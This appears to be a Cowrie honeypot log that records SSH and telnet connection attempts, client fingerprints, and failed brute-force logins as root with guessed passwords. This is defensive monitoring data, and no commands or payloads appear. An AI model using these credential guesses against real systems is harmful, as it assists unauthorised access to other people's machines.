{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54138,"dst_ip":"159.203.135.109","dst_port":23,"session":"09c146e84e02","protocol":"telnet","message":"New connection: 172.81.62.90:54138 (159.203.135.109:23) [session: 09c146e84e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:22.913451Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53764,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed29fada5b87","protocol":"ssh","message":"New connection: 194.113.233.25:53764 (10.17.0.5:22) [session: ed29fada5b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:25.870435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:25.875116Z","src_ip":"194.113.233.25","session":"ed29fada5b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:25.968473Z","src_ip":"194.113.233.25","session":"ed29fada5b87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567qwert","message":"login attempt [root/1234567qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:26.249799Z","src_ip":"194.113.233.25","session":"ed29fada5b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:27.346527Z","src_ip":"194.113.233.25","session":"ed29fada5b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":35518,"dst_ip":"10.17.0.5","dst_port":22,"session":"12cc869be078","protocol":"ssh","message":"New connection: 89.223.69.22:35518 (10.17.0.5:22) [session: 12cc869be078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:47.270730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:47.275348Z","src_ip":"89.223.69.22","session":"12cc869be078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:47.396375Z","src_ip":"89.223.69.22","session":"12cc869be078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil1234","message":"login attempt [root/danil1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:47.764777Z","src_ip":"89.223.69.22","session":"12cc869be078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:48.888586Z","src_ip":"89.223.69.22","session":"12cc869be078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58374,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e592d94a878","protocol":"ssh","message":"New connection: 51.250.105.222:58374 (10.17.0.5:22) [session: 9e592d94a878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:54.234384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:54.238981Z","src_ip":"51.250.105.222","session":"9e592d94a878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:54.362588Z","src_ip":"51.250.105.222","session":"9e592d94a878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:54.737311Z","src_ip":"51.250.105.222","session":"9e592d94a878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:55.864538Z","src_ip":"51.250.105.222","session":"9e592d94a878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.44929504394531,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:59.362593Z","src_ip":"172.81.62.90","session":"09c146e84e02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.32","src_port":42815,"dst_ip":"159.203.135.109","dst_port":22,"session":"b112f5294616","protocol":"ssh","message":"New connection: 195.184.76.32:42815 (159.203.135.109:22) [session: b112f5294616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:41:13.906570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:41:13.998755Z","src_ip":"195.184.76.32","session":"b112f5294616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:41:15.317783Z","src_ip":"195.184.76.32","session":"b112f5294616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:41:16.463665Z","src_ip":"195.184.76.32","session":"b112f5294616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40594,"dst_ip":"159.203.135.109","dst_port":23,"session":"50cf91e53a47","protocol":"telnet","message":"New connection: 107.6.151.170:40594 (159.203.135.109:23) [session: 50cf91e53a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:41:25.933646Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44730,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b4eacf49a8","protocol":"telnet","message":"New connection: 107.6.151.170:44730 (159.203.135.109:23) [session: 68b4eacf49a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:41:28.922598Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53756,"dst_ip":"159.203.135.109","dst_port":23,"session":"46ea6a585300","protocol":"telnet","message":"New connection: 107.6.151.170:53756 (159.203.135.109:23) [session: 46ea6a585300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:41:33.090160Z"}
{"eventid":"cowrie.session.closed","duration":32.03118443489075,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:41:57.964711Z","src_ip":"107.6.151.170","session":"50cf91e53a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.255","src_port":40831,"dst_ip":"159.203.135.109","dst_port":22,"session":"5201f067aeda","protocol":"ssh","message":"New connection: 91.230.168.255:40831 (159.203.135.109:22) [session: 5201f067aeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:14.086358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:14.602672Z","src_ip":"91.230.168.255","session":"5201f067aeda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.49662113189697,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:15.586545Z","src_ip":"107.6.151.170","session":"46ea6a585300","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:17.222576Z","src_ip":"91.230.168.255","session":"5201f067aeda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:18.674865Z","src_ip":"91.230.168.255","session":"5201f067aeda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35614,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe40b974419a","protocol":"ssh","message":"New connection: 80.94.92.184:35614 (10.17.0.5:22) [session: fe40b974419a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:32.670595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:32.674012Z","src_ip":"80.94.92.184","session":"fe40b974419a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:33.342223Z","src_ip":"80.94.92.184","session":"fe40b974419a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.35316205024719,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:34.275631Z","src_ip":"107.6.151.170","session":"68b4eacf49a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:34.742841Z","src_ip":"80.94.92.184","session":"fe40b974419a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:35.986101Z","src_ip":"80.94.92.184","session":"fe40b974419a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.221.67.230","src_port":52032,"dst_ip":"10.17.0.5","dst_port":22,"session":"a334bf978424","protocol":"ssh","message":"New connection: 37.221.67.230:52032 (10.17.0.5:22) [session: a334bf978424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:45.973179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:45.977175Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:46.105347Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:2d:b0:4b:39:09:97:15:76:72:5e:5a:db:51:e2:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEMvTL2vtwI2drhTmGv5SIf4XQBY1gs1S4I0gzOQHAfxzcMxMG5dOymDUI0a/X1TSf4vxwZlaiNuRRxoQCaQNPFgf+qQ8wB5SFY3KRQMXwE9l4HsnNF9nfDiu5rL9bdGaG4NpIZ5ZUEQj4jiuohH4+aFWaAHAEXjg9+/VruNPLtRkCVkq9xgeCvj47t5lxUTb4z2FguMRX62qk/Ccwa+LViqUr4JlwmJY5a+NCZgGuEL63OJAaEEZ6K5jo9/lI6WLLhksLstzIKkIkmpCaTqVemeWdO1RISe2w9BShWexRWHdhi/O4U7VCHm/afyrDbCVF3gRO2UCjB5dUAjmoQPp7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:2d:b0:4b:39:09:97:15:76:72:5e:5a:db:51:e2:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:46.781089Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:2d:b0:4b:39:09:97:15:76:72:5e:5a:db:51:e2:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEMvTL2vtwI2drhTmGv5SIf4XQBY1gs1S4I0gzOQHAfxzcMxMG5dOymDUI0a/X1TSf4vxwZlaiNuRRxoQCaQNPFgf+qQ8wB5SFY3KRQMXwE9l4HsnNF9nfDiu5rL9bdGaG4NpIZ5ZUEQj4jiuohH4+aFWaAHAEXjg9+/VruNPLtRkCVkq9xgeCvj47t5lxUTb4z2FguMRX62qk/Ccwa+LViqUr4JlwmJY5a+NCZgGuEL63OJAaEEZ6K5jo9/lI6WLLhksLstzIKkIkmpCaTqVemeWdO1RISe2w9BShWexRWHdhi/O4U7VCHm/afyrDbCVF3gRO2UCjB5dUAjmoQPp7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:46.783896Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:ae:cb:e7:9d:11:17:08:a8:fe:c9:a1:ae:41:0e:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfJYzrQOflQ5s3XOPDTyU3zGMKle0pzrksEevpQgWyI2yJX7IOmw9uiYSUD9gAqIpELwy53DQ0u6pgbPvdnYJf5UeCsNwWGVhQmz+l4wGRkgc/UJQr5845H7OTm2CGcY0MA0+8sJpP+h1WFdr4Ztjx8kqmyhj6fhh6weDGeJwj9C2fO9AveerKn6rLJpA1lPHu6CdHo+NFI2UzVjkB2QL8VF8ZdmsRNjgqRs1NOCHUIQdXo+rLcGwkBoasUz5EXzkyFEwly63UEiz6DO7Eys7yPIw8xqpFIs0Zog5sMjAqJZ6ztOo/ktaKYdMybJibawLMe+O1KMO+dW90iSp7kffB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:ae:cb:e7:9d:11:17:08:a8:fe:c9:a1:ae:41:0e:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:42:46.907711Z","src_ip":"37.221.67.230","session":"a334bf978424","protocol":"ssh"}
